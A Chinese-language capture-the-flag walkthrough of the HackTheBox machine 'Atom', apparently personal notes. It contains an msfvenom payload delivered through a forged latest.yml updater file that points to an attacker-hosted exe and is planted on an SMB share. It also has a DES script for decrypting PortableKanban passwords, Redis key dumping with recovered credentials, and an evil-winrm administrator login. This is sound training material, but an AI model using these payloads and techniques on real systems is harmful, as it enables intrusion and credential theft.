初始权限获取
端口扫描HTTP (80)、HTTPS (443)、RPC (135)、SMB (445)、WinRM (5985)、Redis (6379) 以及 7680 上的一些端口
SMB 报告是 Windows 10 Pro
尝试 redis-cli -h 10.10.10.237
10.10.10.237:6379> keys * (error) NOAUTH Authentication required.
错误,如果有凭证的话我还得来看看这个
枚举smb
这个目录
smbclient //10.10.10.237/Software_Updates
get UAT_Testing_Procedures.pdf
该文件是一份内部文件,描述了 Heed 的测试程序:
浏览一下应该是软件更新是通过将其放入 SMB 共享的 client
文件夹之一来测试的。
来到80,8080
该页面包含下载 Heed 的链接,Heed 是 QA 文档中提到的笔记应用程序。目前只有 Windows 版本,Mac 和 Linux 都说“即将推出”。我将获取 Windows 版本的副本,下载名称为 heed_setup_v1.0.0.zip
。
目录爆破一下没有什么有用的
pdf里面的这些信息看起来有用,好像是漏洞利用
Software_Updates漏洞

用 msfvenom 创建了我的有效负载并将其传递给 shasum
┌──(kali㉿kali)-[~/atom] └─$ shasum -a 512 up'date.exe | cut -d " " -f1 | xxd -r -p | base64 VuQnE40qqkhwLYqeXyaAJUisRZsbOkLTaS7mXCihNWEkicSWqwZxX+ihXiX1Secyc4fBVvLcbaIr RhRUhKXRtA==
1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg==
生成sha512
然后touch
创建一个文件latest.yml
并把以下内容放入其中:
version: 1.2.3 path: http://10.10.14.29/f4T1H.'exe sha512: 1j6MyYLtoIB2xb/Bre5ZrvxGQDRwLk1uI9CjqTfsBL5mQlLbdiPxgN+996zUe6ceovJyUpVfnGNJPDDI/jnjvg== releaseDate: '2021-03-16T11:17:02.627Z'
在端口上启动 http 服务器80
php -S 0.0.0.0:80
最后执行以下操作以便将您的放入latest.yml所有客户端文件夹中。 smbclient -N //10.10.10.237/Software_Updates -c 'put latest.yml client1/latest.yml; put latest.yml client2/latest.yml; put latest.yml client3/latest.yml'
nc监听
提权
在枚举用户目录时,我注意到一个目录,其名称我以前从未听说过。我们在其中找到了一个配置 (.cfg) 文件。
Dir Downloads\PortableKanban
什么是一.cfg 文件? 具有.cfg 扩展名的文件是一种“设置"文件。 它是一种常用的文件类型,用于存储有关计算机程序配置和设置的信息。 大多数类型的CFG 文件都以文本格式存储,不应手动打开,而应使用文本编辑器打开。
这看起来像一个JSON
数据,将其保存在本地的文件中并使用jq
.
cat configFile.cfg | jq . | head
-
登录时使用的加密密码
RedisServer
:Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
我们先尝试破解密码,然后再重点关注redis
。
portablekanban解密密码或者redis获得密码
搜索portablekanban如何解密码
https://www.exploit-db.com/exploits/49409z
#!/usr/bin/python3
import base64 from des import * #pip3 install des
def decode(hash): hash = base64.b64decode(hash.encode('utf-8')) key = DesKey(b'7ly6UznJ') return key.decrypt(hash, initial=b'XuVUm5fR', padding=True).decode('utf-8')
print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"))
或者,我们可以从服务的配置文件中找到密码。
type *.conf | findstr pass
密码是kidvscat_yes_kidvscat
6379 - Pentesting Redis | HackTricks | HackTricks redis使用
┌──(root💀f4T1H)-[~/hackthebox/atom/privesc] └─> redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 10.10.10.237:6379> ping PONG 10.10.10.237:6379> info keyspace
db0:keys=4,expires=0,avg_ttl=0 10.10.10.237:6379> select 0 OK 10.10.10.237:6379> keys *
-
"pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
-
"pk:ids:User"
-
"pk:ids:MetaDataClass"
-
"pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" 10.10.10.237:6379> get "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\/Date(1617420120000-0700)\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\/Date(-621355968000000000)\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}"
10.10.10.237:6379> get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0" {"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}" 10.10.10.237:6379>
-
我们用于连接到远程服务器并使用我们找到的密码登录的第一个命令。
-
连接后,
ping
命令用于测试连接是否仍然有效,或测量延迟。 -
之后我们查看了关键的数据库,也是
select
唯一的数据库。 -
然后
keys
在里面列出了。 -
最后阅读密钥的内容。
也可以利用上面的代码解密
evil-winrm -i 10.10.10.237 -u administrator -p 'kidvscat_admin_@123'